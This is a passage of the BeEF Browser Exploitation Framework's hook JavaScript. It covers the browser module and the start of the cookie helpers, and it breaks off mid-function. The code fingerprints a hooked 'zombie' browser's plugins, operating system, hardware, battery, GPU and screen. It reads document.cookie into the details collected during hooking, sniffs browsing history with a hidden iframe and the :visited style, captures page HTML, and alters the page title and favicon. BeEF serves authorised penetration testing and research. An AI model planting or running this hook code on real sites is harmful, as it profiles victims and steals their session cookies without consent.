  9152.      */
  9153.     javaEnabled: function () {
  9154.       return navigator.javaEnabled();
  9155.     },
  9156.  
  9157.     /**
  9158.      * Checks if the Phonegap API is available from the hooked origin.
  9159.      * @return: {Boolean} true or false.
  9160.      *
  9161.      * @example: if(beef.browser.hasPhonegap()) { ... }
  9162.      */
  9163.     hasPhonegap: function () {
  9164.         var result = false;
  9165.  
  9166.         try {
  9167.             if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  9168.         }
  9169.         catch (e) {
  9170.             result = false;
  9171.         }
  9172.         return result;
  9173.     },
  9174.  
  9175.     /**
  9176.      * Checks if the browser supports CORS
  9177.      * @return: {Boolean} true or false.
  9178.      *
  9179.      * @example: if(beef.browser.hasCors()) { ... }
  9180.      */
  9181.     hasCors: function () {
  9182.         if ('withCredentials' in new XMLHttpRequest())
  9183.             return true;
  9184.         else if (typeof XDomainRequest !== "undefined")
  9185.             return true;
  9186.         else
  9187.             return false;
  9188.     },
  9189.  
  9190.     /**
  9191.      * Checks if the zombie has Java installed and enabled.
  9192.      * @return: {Boolean} true or false.
  9193.      *
  9194.      * @example: if(beef.browser.hasJava()) { ... }
  9195.      */
  9196.     hasJava: function () {
  9197.         if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  9198.           return true;
  9199.         } else {
  9200.           return false;
  9201.         }
  9202.     },
  9203.  
  9204.     /**
  9205.      * Checks if the zombie has VBScript enabled.
  9206.      * @return: {Boolean} true or false.
  9207.      *
  9208.      * @example: if(beef.browser.hasVBScript()) { ... }
  9209.      */
  9210.     hasVBScript: function () {
  9211.         if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  9212.             return true;
  9213.         } else {
  9214.             return false;
  9215.         }
  9216.     },
  9217.  
  9218.     /**
  9219.      * Returns the list of plugins installed in the browser.
  9220.      */
  9221.     getPlugins: function () {
  9222.  
  9223.         var results;
  9224.  
  9225.         function unique(array) {
  9226.           return $j.grep(array, function(el, index) {
  9227.             return index === $j.inArray(el, array);
  9228.           });
  9229.         }
  9230.  
  9231.         // Things lacking navigator.plugins
  9232.         if (!navigator.plugins)
  9233.           return this.getPluginsIE();
  9234.  
  9235.         // All other browsers that support navigator.plugins
  9236.         if (navigator.plugins && navigator.plugins.length > 0) {
  9237.             results = new Array();
  9238.             for (var i = 0; i < navigator.plugins.length; i++) {
  9239.  
  9240.                 // Firefox returns exact plugin versions
  9241.                 if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  9242.  
  9243.                 // Webkit and Presto (Opera)
  9244.                 // Don't support the version attribute
  9245.                 // Sometimes store the version in description (Real, Adobe)
  9246.                 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  9247.             }
  9248.             results = unique(results).toString();
  9249.            
  9250.             // All browsers that don't support navigator.plugins
  9251.         } else {
  9252.             results = new Array();
  9253.             //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  9254.             // On linux sistem the "version" slot is empty so I'll attach "description" after version
  9255.             var plugins = {
  9256.  
  9257.                 'AdobeAcrobat': {
  9258.                     'control': 'Adobe Acrobat',
  9259.                     'return': function (control) {
  9260.                         try {
  9261.                             version = navigator.plugins["Adobe Acrobat"]["description"];
  9262.                             return 'Adobe Acrobat Version  ' + version; //+ " description "+ filename;
  9263.  
  9264.                         }
  9265.                         catch (e) {
  9266.                         }
  9267.  
  9268.  
  9269.                     }},
  9270.                 'Flash': {
  9271.                     'control': 'Shockwave Flash',
  9272.                     'return': function (control) {
  9273.                         try {
  9274.                             version = navigator.plugins["Shockwave Flash"]["description"];
  9275.                             return 'Flash Player Version ' + version; //+ " description "+ filename;
  9276.                         }
  9277.  
  9278.                         catch (e) {
  9279.                         }
  9280.                     }},
  9281.                 'Google_Talk_Plugin_Accelerator': {
  9282.                     'control': 'Google Talk Plugin Video Accelerator',
  9283.                     'return': function (control) {
  9284.  
  9285.                         try {
  9286.                             version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  9287.                             return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  9288.                         }
  9289.                         catch (e) {
  9290.                         }
  9291.                     }},
  9292.                 'Google_Talk_Plugin': {
  9293.                     'control': 'Google Talk Plugin',
  9294.                     'return': function (control) {
  9295.                         try {
  9296.                             version = navigator.plugins['Google Talk Plugin']["description"];
  9297.                             return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  9298.                         }
  9299.                         catch (e) {
  9300.                         }
  9301.                     }},
  9302.                 'Facebook_Video_Calling_Plugin': {
  9303.                     'control': 'Facebook Video Calling Plugin',
  9304.                     'return': function (control) {
  9305.                         try {
  9306.                             version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  9307.                             return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  9308.                         }
  9309.                         catch (e) {
  9310.                         }
  9311.                     }},
  9312.                 'Google_Update': {
  9313.                     'control': 'Google Update',
  9314.                     'return': function (control) {
  9315.                         try {
  9316.                             version = navigator.plugins["Google Update"]["description"];
  9317.                             return 'Google Update Version ' + version//+ " description "+ filename;
  9318.                         }
  9319.                         catch (e) {
  9320.                         }
  9321.                     }},
  9322.                 'Windows_Activation_Technologies': {
  9323.                     'control': 'Windows Activation Technologies',
  9324.                     'return': function (control) {
  9325.                         try {
  9326.                             version = navigator.plugins["Windows Activation Technologies"]["description"];
  9327.                             return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  9328.                         }
  9329.                         catch (e) {
  9330.                         }
  9331.  
  9332.                     }},
  9333.                 'VLC_Web_Plugin': {
  9334.                     'control': 'VLC Web Plugin',
  9335.                     'return': function (control) {
  9336.                         try {
  9337.                             version = navigator.plugins["VLC Web Plugin"]["description"];
  9338.                             return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  9339.                         }
  9340.                         catch (e) {
  9341.                         }
  9342.                     }},
  9343.                 'Google_Earth_Plugin': {
  9344.                     'control': 'Google Earth Plugin',
  9345.  
  9346.                     'return': function (control) {
  9347.                         try {
  9348.                             version = navigator.plugins['Google Earth Plugin']["description"];
  9349.                             return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  9350.                         }
  9351.                         catch (e) {
  9352.                         }
  9353.                     }},
  9354.                 'FoxitReader_Plugin': {
  9355.                     'control': 'FoxitReader Plugin',
  9356.                     'return': function (control) {
  9357.                         try {
  9358.                             version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  9359.                             return 'FoxitReader Plugin Version ' + version;
  9360.                         } catch (e) {
  9361.                         }
  9362.                     }}
  9363.             };
  9364.  
  9365.             var c = 0;
  9366.             for (var i in plugins) {
  9367.                 //each element od plugins
  9368.                 var control = plugins[i]['control'];
  9369.                 try {
  9370.                     var version = plugins[i]['return'](control);
  9371.                     if (version) {
  9372.                         results[c] = version;
  9373.                         c = c + 1;
  9374.                     }
  9375.                 }
  9376.                 catch (e) {
  9377.                 }
  9378.  
  9379.             }
  9380.         }
  9381.         // Return results
  9382.         return results;
  9383.     },
  9384.  
  9385.     /**
  9386.      * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  9387.      * support navigator.plugins
  9388.      */
  9389.     getPluginsIE: function () {
  9390.         var results = '';
  9391.         var plugins = {
  9392.             'AdobePDF6': {
  9393.                 'control': 'PDF.PdfCtrl',
  9394.             'return': function (control) {
  9395.                 version = control.getVersions().split(',');
  9396.                 version = version[0].split('=');
  9397.                 return 'Acrobat Reader v' + parseFloat(version[1]);
  9398.             }},
  9399.             'AdobePDF7': {
  9400.                 'control': 'AcroPDF.PDF',
  9401.                 'return': function (control) {
  9402.                     version = control.getVersions().split(',');
  9403.                     version = version[0].split('=');
  9404.                     return 'Acrobat Reader v' + parseFloat(version[1]);
  9405.                 }},
  9406.             'Flash': {
  9407.                 'control': 'ShockwaveFlash.ShockwaveFlash',
  9408.                 'return': function (control) {
  9409.                     version = control.getVariable('$version').substring(4);
  9410.                     return 'Flash Player v' + version.replace(/,/g, ".");
  9411.                 }},
  9412.             'Quicktime': {
  9413.                 'control': 'QuickTime.QuickTime',
  9414.                 'return': function (control) {
  9415.                     return 'QuickTime Player';
  9416.                 }},
  9417.             'RealPlayer': {
  9418.                 'control': 'RealPlayer',
  9419.                 'return': function (control) {
  9420.                     version = control.getVersionInfo();
  9421.                     return 'RealPlayer v' + parseFloat(version);
  9422.                 }},
  9423.             'Shockwave': {
  9424.                 'control': 'SWCtl.SWCtl',
  9425.                 'return': function (control) {
  9426.                     version = control.ShockwaveVersion('').split('r');
  9427.                     return 'Shockwave v' + parseFloat(version[0]);
  9428.                 }},
  9429.             'WindowsMediaPlayer': {
  9430.                 'control': 'WMPlayer.OCX',
  9431.                 'return': function (control) {
  9432.                     return 'Windows Media Player v' + parseFloat(control.versionInfo);
  9433.                 }},
  9434.             'FoxitReaderPlugin': {
  9435.                 'control': 'FoxitReader.FoxitReaderCtl.1',
  9436.                 'return': function (control) {
  9437.                     return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  9438.                 }}
  9439.         };
  9440.         if (window.ActiveXObject) {
  9441.             var j = 0;
  9442.             for (var i in plugins) {
  9443.                 var control = null;
  9444.                 var version = null;
  9445.                 try {
  9446.                     control = new ActiveXObject(plugins[i]['control']);
  9447.                 } catch (e) {
  9448.                 }
  9449.                 if (control) {
  9450.                     if (j != 0)
  9451.                         results += ', ';
  9452.                     results += plugins[i]['return'](control);
  9453.                     j++;
  9454.                 }
  9455.             }
  9456.         }
  9457.         return results;
  9458.     },
  9459.  
  9460.     /**
  9461.      * Returns zombie browser window size.
  9462.      * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  9463.      */
  9464.     getWindowSize: function () {
  9465.         var myWidth = 0, myHeight = 0;
  9466.         if (typeof( window.innerWidth ) == 'number') {
  9467.             // Non-IE
  9468.             myWidth = window.innerWidth;
  9469.             myHeight = window.innerHeight;
  9470.         } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
  9471.             // IE 6+ in 'standards compliant mode'
  9472.             myWidth = document.documentElement.clientWidth;
  9473.             myHeight = document.documentElement.clientHeight;
  9474.         } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  9475.             // IE 4 compatible
  9476.             myWidth = document.body.clientWidth;
  9477.             myHeight = document.body.clientHeight;
  9478.         }
  9479.         return {
  9480.             width: myWidth,
  9481.             height: myHeight
  9482.         }
  9483.     },
  9484.  
  9485.     /**
  9486.      * Construct hash from browser details. This function is used to grab the browser details during the hooking process
  9487.      */
  9488.     getDetails: function () {
  9489.         var details = new Array();
  9490.  
  9491.         var browser_name = beef.browser.getBrowserName();
  9492.         var browser_version = beef.browser.getBrowserVersion();
  9493.         var browser_engine = beef.browser.getBrowserEngine();
  9494.         var browser_reported_name = beef.browser.getBrowserReportedName();
  9495.         var browser_language = beef.browser.getBrowserLanguage();
  9496.         var page_title = (document.title) ? document.title : "Unknown";
  9497.         var origin = (window.origin) ? window.origin : "Unknown";
  9498.         var page_uri = (document.location.href) ? document.location.href : "Unknown";
  9499.         var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  9500.         var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  9501.         var default_port = "";
  9502.         switch (document.location.protocol) {
  9503.         case "http:":
  9504.             var default_port = "80";
  9505.             break;
  9506.         case "https:":
  9507.             var default_port = "443";
  9508.             break;
  9509.         }
  9510.         var page_hostport = (document.location.port) ? document.location.port : default_port;
  9511.         var browser_plugins = beef.browser.getPlugins();
  9512.         var date_stamp = new Date().toString();
  9513.         var os_name = beef.os.getName();
  9514.         var os_family = beef.os.getFamily();
  9515.         var os_version = beef.os.getVersion();
  9516.         var os_arch = beef.os.getArch();
  9517.         var default_browser = beef.os.getDefaultBrowser();
  9518.         var hw_type = beef.hardware.getName();
  9519.         var battery_details = beef.hardware.getBatteryDetails();
  9520.         try {
  9521.           var battery_charging_status = battery_details.chargingStatus;
  9522.           var battery_level = battery_details.batteryLevel;
  9523.           var battery_charging_time = battery_details.chargingTime;
  9524.           var battery_discharging_time = battery_details.dischargingTime;
  9525.         } catch(e) {}
  9526.         var memory = beef.hardware.getMemory();
  9527.         var cpu_arch = beef.hardware.getCpuArch();
  9528.         var cpu_cores = beef.hardware.getCpuCores();
  9529.         var gpu_details = beef.hardware.getGpuDetails();
  9530.         try {
  9531.           var gpu = gpu_details.gpu;
  9532.           var gpu_vendor = gpu_details.vendor;
  9533.         } catch(e) {}
  9534.         var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  9535.         var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
  9536.         var screen_size = beef.hardware.getScreenSize();
  9537.         try {
  9538.           var screen_width = screen_size.width;
  9539.           var screen_height = screen_size.height;
  9540.           var screen_colordepth = screen_size.colordepth;
  9541.         } catch(e) {}
  9542.         var window_size = beef.browser.getWindowSize();
  9543.         try {
  9544.           window_width = window_size.width;
  9545.           window_height = window_size.height;
  9546.         } catch(e) {}
  9547.         var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  9548.         var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  9549.         var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
  9550.         var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  9551.         var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  9552.         var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  9553.         var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
  9554.         var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
  9555.         var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  9556.         var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  9557.         var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  9558.         var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  9559.         var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  9560.         var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
  9561.  
  9562.         try {
  9563.             var cookies = document.cookie;
  9564.             if (cookies) details['browser.window.cookies'] = cookies;
  9565.         } catch (e) {
  9566.             beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
  9567.             details['browser.window.cookies'] = '';
  9568.         }
  9569.  
  9570.         if (browser_name) details['browser.name'] = browser_name;
  9571.         if (browser_version) details['browser.version'] = browser_version;
  9572.         if (browser_engine) details['browser.engine'] = browser_engine;
  9573.         if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
  9574.         if (browser_platform) details['browser.platform'] = browser_platform;
  9575.         if (browser_language) details['browser.language'] = browser_language;
  9576.         if (browser_plugins) details['browser.plugins'] = browser_plugins;
  9577.  
  9578.         if (page_title) details['browser.window.title'] = page_title;
  9579.         if (origin) details['browser.window.origin'] = origin;
  9580.         if (page_hostname) details['browser.window.hostname'] = page_hostname;
  9581.         if (page_hostport) details['browser.window.hostport'] = page_hostport;
  9582.         if (page_uri) details['browser.window.uri'] = page_uri;
  9583.         if (page_referrer) details['browser.window.referrer'] = page_referrer;
  9584.         if (window_width) details['browser.window.size.width'] = window_width;
  9585.         if (window_height) details['browser.window.size.height'] = window_height;
  9586.         if (date_stamp) details['browser.date.datestamp'] = date_stamp;
  9587.  
  9588.         if (os_name) details['host.os.name'] = os_name;
  9589.         if (os_family) details['host.os.family'] = os_family;
  9590.         if (os_version) details['host.os.version'] = os_version;
  9591.         if (os_arch) details['host.os.arch'] = os_arch;
  9592.  
  9593.         if (default_browser) details['host.software.defaultbrowser'] = default_browser;
  9594.  
  9595.         if (hw_type) details['hardware.type'] = hw_type;
  9596.         if (memory) details['hardware.memory'] = memory;
  9597.         if (gpu) details['hardware.gpu'] = gpu;
  9598.         if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
  9599.         if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
  9600.         if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
  9601.  
  9602.         if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
  9603.         if (battery_level) details['hardware.battery.level'] = battery_level;
  9604.         if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
  9605.         if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
  9606.  
  9607.         if (screen_width) details['hardware.screen.size.width'] = screen_width;
  9608.         if (screen_height) details['hardware.screen.size.height'] = screen_height;
  9609.         if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
  9610.         if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
  9611.  
  9612.         if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
  9613.         if (has_flash) details['browser.capabilities.flash'] = has_flash;
  9614.         if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;
  9615.         if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
  9616.         if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
  9617.         if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
  9618.         if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
  9619.         if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
  9620.         if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
  9621.         if (has_activex) details['browser.capabilities.activex'] = has_activex;
  9622.         if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
  9623.         if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
  9624.         if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
  9625.         if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
  9626.  
  9627.         return details;
  9628.     },
  9629.  
  9630.     /**
  9631.      * Returns boolean value depending on whether the browser supports ActiveX
  9632.      */
  9633.     hasActiveX: function () {
  9634.         return !!window.ActiveXObject;
  9635.     },
  9636.  
  9637.     /**
  9638.      * Returns boolean value depending on whether the browser supports WebRTC
  9639.      */
  9640.     hasWebRTC: function () {
  9641.         return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  9642.     },
  9643.  
  9644.     /**
  9645.      * Returns boolean value depending on whether the browser supports Silverlight
  9646.      */
  9647.     hasSilverlight: function () {
  9648.         var result = false;
  9649.  
  9650.         try {
  9651.             if (beef.browser.hasActiveX()) {
  9652.                 var slControl = new ActiveXObject('AgControl.AgControl');
  9653.                 result = true;
  9654.             } else if (navigator.plugins["Silverlight Plug-In"]) {
  9655.                 result = true;
  9656.             }
  9657.         } catch (e) {
  9658.             result = false;
  9659.         }
  9660.  
  9661.         return result;
  9662.     },
  9663.  
  9664.     /**
  9665.      * Returns array of results, whether or not the target zombie has visited the specified URL
  9666.      */
  9667.     hasVisited: function (urls) {
  9668.         var results = new Array();
  9669.         var iframe = beef.dom.createInvisibleIframe();
  9670.         var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  9671.         ifdoc.open();
  9672.         ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  9673.         ifdoc.close();
  9674.         urls = urls.split("\n");
  9675.         var count = 0;
  9676.         for (var i in urls) {
  9677.             var u = urls[i];
  9678.             if (u != "" || u != null) {
  9679.                 var success = false;
  9680.                 var a = ifdoc.createElement('a');
  9681.                 a.href = u;
  9682.                 ifdoc.body.appendChild(a);
  9683.                 var width = null;
  9684.                 (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
  9685.                 if (width == '0px') {
  9686.                     success = true;
  9687.                 }
  9688.                 results.push({'url': u, 'visited': success});
  9689.                 count++;
  9690.             }
  9691.         }
  9692.         beef.dom.removeElement(iframe);
  9693.         if (results.length == 0) {
  9694.             return false;
  9695.         }
  9696.         return results;
  9697.     },
  9698.  
  9699.     /**
  9700.      * Checks if the zombie has Web Sockets enabled.
  9701.      * @return: {Boolean} true or false.
  9702.      * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  9703.      * */
  9704.     hasWebSocket: function () {
  9705.         return !!window.WebSocket || !!window.MozWebSocket;
  9706.     },
  9707.  
  9708.     /**
  9709.      * Checks if the zombie has Web Workers enabled.
  9710.      * @return: {Boolean} true or false.
  9711.      * */
  9712.     hasWebWorker: function () {
  9713.         return (typeof(Worker) !== "undefined");
  9714.     },
  9715.  
  9716.     /**
  9717.      * Checks if the zombie has WebGL enabled.
  9718.      * @return: {Boolean} true or false.
  9719.      *
  9720.      * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
  9721.      * */
  9722.     hasWebGL: function () {
  9723.         try {
  9724.             var canvas = document.createElement("canvas");
  9725.             var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  9726.             return !!(gl && gl instanceof WebGLRenderingContext);
  9727.         } catch(e) {
  9728.             return false;
  9729.         }
  9730.     },
  9731.  
  9732.     /**
  9733.      * Checks if the zombie has Google Gears installed.
  9734.      * @return: {Boolean} true or false.
  9735.      *
  9736.      * @from: https://code.google.com/apis/gears/gears_init.js
  9737.      * */
  9738.     hasGoogleGears: function () {
  9739.  
  9740.         var ggfactory = null;
  9741.  
  9742.         // Chrome
  9743.         if (window.google && google.gears) return true;
  9744.  
  9745.         // Firefox
  9746.         if (typeof GearsFactory != 'undefined') {
  9747.             ggfactory = new GearsFactory();
  9748.         } else {
  9749.             // IE
  9750.             try {
  9751.                 ggfactory = new ActiveXObject('Gears.Factory');
  9752.                 // IE Mobile on WinCE.
  9753.                 if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  9754.                     ggfactory.privateSetGlobalObject(this);
  9755.                 }
  9756.             } catch (e) {
  9757.                 // Safari
  9758.                 if ((typeof navigator.mimeTypes != 'undefined')
  9759.                     && navigator.mimeTypes["application/x-googlegears"]) {
  9760.                     ggfactory = document.createElement("object");
  9761.                     ggfactory.style.display = "none";
  9762.                     ggfactory.width = 0;
  9763.                     ggfactory.height = 0;
  9764.                     ggfactory.type = "application/x-googlegears";
  9765.                     document.documentElement.appendChild(ggfactory);
  9766.                     if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  9767.                 }
  9768.             }
  9769.         }
  9770.         if (!ggfactory) return false; else return true;
  9771.     },
  9772.  
  9773.     /**
  9774.      * Checks if the zombie has Foxit PDF reader plugin.
  9775.      * @return: {Boolean} true or false.
  9776.      *
  9777.      * @example: if(beef.browser.hasFoxit()) { ... }
  9778.      * */
  9779.     hasFoxit: function () {
  9780.  
  9781.         var foxitplugin = false;
  9782.  
  9783.         try {
  9784.             if (beef.browser.hasActiveX()) {
  9785.                 var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  9786.                 foxitplugin = true;
  9787.             } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  9788.                 foxitplugin = true;
  9789.             }
  9790.         } catch (e) {
  9791.             foxitplugin = false;
  9792.         }
  9793.  
  9794.         return foxitplugin;
  9795.     },
  9796.  
  9797.     /**
  9798.      * Returns the page head HTML
  9799.      **/
  9800.     getPageHead: function () {
  9801.         var html_head;
  9802.         try {
  9803.             html_head = document.head.innerHTML.toString();
  9804.         } catch (e) {
  9805.         }
  9806.         return html_head;
  9807.     },
  9808.  
  9809.     /**
  9810.      * Returns the page body HTML
  9811.      **/
  9812.     getPageBody: function () {
  9813.         var html_body;
  9814.         try {
  9815.             html_body = document.body.innerHTML.toString();
  9816.         } catch (e) {
  9817.         }
  9818.         return html_body;
  9819.     },
  9820.  
  9821.     /**
  9822.      * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  9823.      **/
  9824.     changeFavicon: function (favicon_url) {
  9825.         var iframe = null;
  9826.         if (this.isC()) {
  9827.             iframe = document.createElement('iframe');
  9828.             iframe.src = 'about:blank';
  9829.             iframe.style.display = 'none';
  9830.             document.body.appendChild(iframe);
  9831.         }
  9832.         var link = document.createElement('link'),
  9833.             oldLink = document.getElementById('dynamic-favicon');
  9834.         link.id = 'dynamic-favicon';
  9835.         link.rel = 'shortcut icon';
  9836.         link.href = favicon_url;
  9837.         if (oldLink) document.head.removeChild(oldLink);
  9838.         document.head.appendChild(link);
  9839.         if (this.isC()) iframe.src += '';
  9840.     },
  9841.  
  9842.     /**
  9843.      * Changes page title
  9844.      **/
  9845.     changePageTitle: function (title) {
  9846.         document.title = title;
  9847.     },
  9848.  
  9849.     /**
  9850.      * Get the browser language
  9851.      */
  9852.     getBrowserLanguage: function () {
  9853.         var l = 'Unknown';
  9854.         try {
  9855.             l = window.navigator.userLanguage || window.navigator.language;
  9856.         } catch (e) {
  9857.         }
  9858.         return l;
  9859.     },
  9860.  
  9861.     /**
  9862.      *  A function that gets the max number of simultaneous connections the
  9863.      *  browser can make per origin, or globally on all origin.
  9864.      *
  9865.      *  This code is based on research from browserspy.dk
  9866.      *
  9867.      * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  9868.      * @return {Object} A jQuery deferred object promise, which when resolved passes
  9869.      *    the number of connections to the callback function as "this"
  9870.      */
  9871.  
  9872.  
  9873.  
  9874.     getMaxConnections: function (scope) {
  9875.         /*
  9876.         *    example usage:
  9877.         *        $j.when(getMaxConnections()).done(function(){
  9878.         *            console.debug("Max Connections: " + this);
  9879.         *            });
  9880.         */
  9881.         var imagesCount = 30;           // Max number of images to test
  9882.         var secondsTimeout = 5;         // Image load timeout threashold
  9883.         var testUrl = "";               // The image testing service URL
  9884.  
  9885.         // User broserspy.dk max connections service URL.
  9886.         if (scope == 'PER_DOMAIN')
  9887.             testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  9888.         else
  9889.             // The token will be replaced by a different number with each request (different origin).
  9890.             testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  9891.  
  9892.         var imagesLoaded = 0;                   // Number of responding images before timeout.
  9893.         var imagesRequested = 0;                // Number of requested images.
  9894.         var testImages = new Array();           // Array of all images.
  9895.         var deferredObject = $j.Deferred();     // A jquery Deferred object.
  9896.  
  9897.         for (var i = 1; i <= imagesCount; i++) {
  9898.             // Asynchronously request image.
  9899.             testImages[i] =
  9900.                 $j.ajax({
  9901.                     type: "get",
  9902.                     dataType: true,
  9903.                     url: (testUrl.replace("<token>", i)) + Math.random(),
  9904.                     data: "",
  9905.                     timeout: (secondsTimeout * 1000),
  9906.  
  9907.                     // Function on completion of request.
  9908.                     complete: function (jqXHR, textStatus) {
  9909.  
  9910.                         imagesRequested++;
  9911.  
  9912.                         // If the image returns a 200 or a 302, the text Status is "error", else null
  9913.                         if (textStatus == "error") {
  9914.                             imagesLoaded++;
  9915.                         }
  9916.  
  9917.                         // If all images requested
  9918.                         if (imagesRequested >= imagesCount) {
  9919.                             // resolve the deferred object passing the number of loaded images.
  9920.                             deferredObject.resolveWith(imagesLoaded);
  9921.                         }
  9922.                     }
  9923.                 });
  9924.  
  9925.         }
  9926.  
  9927.         // Return a promise to resolve the deffered object when the images are loaded.
  9928.         return deferredObject.promise();
  9929.  
  9930.     }
  9931.  
  9932. };
  9933.  
  9934. beef.regCmp('beef.browser');
  9935.  
  9936.  
  9937. //
  9938. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  9939. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  9940. // See the file 'doc/COPYING' for copying permission
  9941. //
  9942.  
  9943. /**
  9944.  * Provides fuctions for working with cookies.
  9945.  * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  9946.  * Original author unknown.
  9947.  * @namespace beef.browser.cookie
  9948.  */
  9949. beef.browser.cookie = {
  9950.        
  9951.                 /** @memberof beef.browser.cookie */
  9952.                 setCookie: function (name, value, expires, path, domain, secure)
  9953.                 {
  9954.        
  9955.                         var today = new Date();
  9956.                         today.setTime( today.getTime() );
  9957.        
  9958.                         if ( expires )
  9959.                         {
  9960.                                 expires = expires * 1000 * 60 * 60 * 24;
  9961.                         }
  9962.                         var expires_date = new Date( today.getTime() + (expires) );
  9963.        
  9964.                         document.cookie = name + "=" +escape( value ) +
  9965.                                 ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  9966.                                 ( ( path ) ? ";path=" + path : "" ) +
  9967.                                 ( ( domain ) ? ";domain=" + domain : "" ) +
  9968.                                 ( ( secure ) ? ";secure" : "" );
  9969.                 },
  9970.                 /** @memberof beef.browser.cookie */
  9971.                 getCookie: function(name)
  9972.                 {
  9973.                         var a_all_cookies = document.cookie.split( ';' );
  9974.                         var a_temp_cookie = '';
  9975.                         var cookie_name = '';
  9976.                         var cookie_value = '';
  9977.                         var b_cookie_found = false;
  9978.                        
  9979.                         for ( i = 0; i < a_all_cookies.length; i++ )
  9980.                         {
  9981.                                 a_temp_cookie = a_all_cookies[i].split( '=' );
  9982.                                 cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  9983.                                 if ( cookie_name == name )
  9984.                                 {
  9985.                                         b_cookie_found = true;
  9986.                                         if ( a_temp_cookie.length > 1 )
  9987.                                         {
  9988.                                                 cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
  9989.                                         }
  9990.                                         return cookie_value;
  9991.                                         break;
  9992.                                 }
  9993.                                 a_temp_cookie = null;
  9994.                                 cookie_name = '';
  9995.                         }
  9996.                         if ( !b_cookie_found )
  9997.                         {
  9998.                                 return null;
  9999.                         }
  10000.                 },
  10001.                 /** @memberof beef.browser.cookie */
  10002.                 deleteCookie: function (name, path, domain)
  10003.                 {
